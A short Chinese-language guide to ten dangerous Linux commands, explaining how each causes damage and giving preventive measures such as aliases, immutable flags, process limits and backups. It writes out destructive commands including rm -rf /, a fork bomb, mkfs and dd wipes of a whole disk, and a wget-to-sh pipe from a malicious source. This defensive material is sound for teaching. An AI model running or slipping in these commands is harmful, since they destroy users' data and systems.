Linux 指令威力強大,但一失足成千古恨。本文整理 10 大高危指令,解析破壞原理與預防對策,建立「執行前先確認」的肌肉記憶。
rm -rf / / rm -rf * — 核彈級刪除alias rm='rm -i' (多數發行版預設)、重要目錄 chattr +i、備份、快照、ZFS/Btrfs 子卷:(){ :|:& };: — Fork 炸彈: 遞迴呼叫自己兩次 (前景+背景),指數級產生進程耗盡 PID/記憶體ulimit -u 1000 限制用戶最大進程數、systemd DefaultTasksMax、cgroups 限制command > /dev/sda — 直接寫入區塊裝置/dev/sd*、/dev/nvme*、/dev/mapper/*mv 目錄 /dev/null — 丟入黑洞/dev/null 即消失,雖可嘗試資料救援但極困難alias mv='mv -i'、重要資料異地備份wget https://惡意來源 -O- | sh — 盲目執行遠端腳本mkfs.ext4 /dev/sda — 格式化整顆磁碟lsblk blkid 核對、LVM 快照> 重要設定檔 — 清空/覆寫檔案> 會截斷檔案,>> 才是追加cp config.conf config.conf.bak 先備份^foo^bar — 歷史指令快速替換執行fc 編輯歷史指令或直接重打dd if=/dev/urandom of=/dev/sda — 軍規級抹除rm -rf / 等編碼為 Shellcode 嵌入 C 程式,誘騙編譯執行
chattr +i、ZFS 快照自動化/etc/security/limits.conf 限制 nproc、nofileauditd 記錄關鍵指令敬畏命令列,每一次 Enter 前都問自己:「我確定嗎?有備份嗎?能復原嗎?」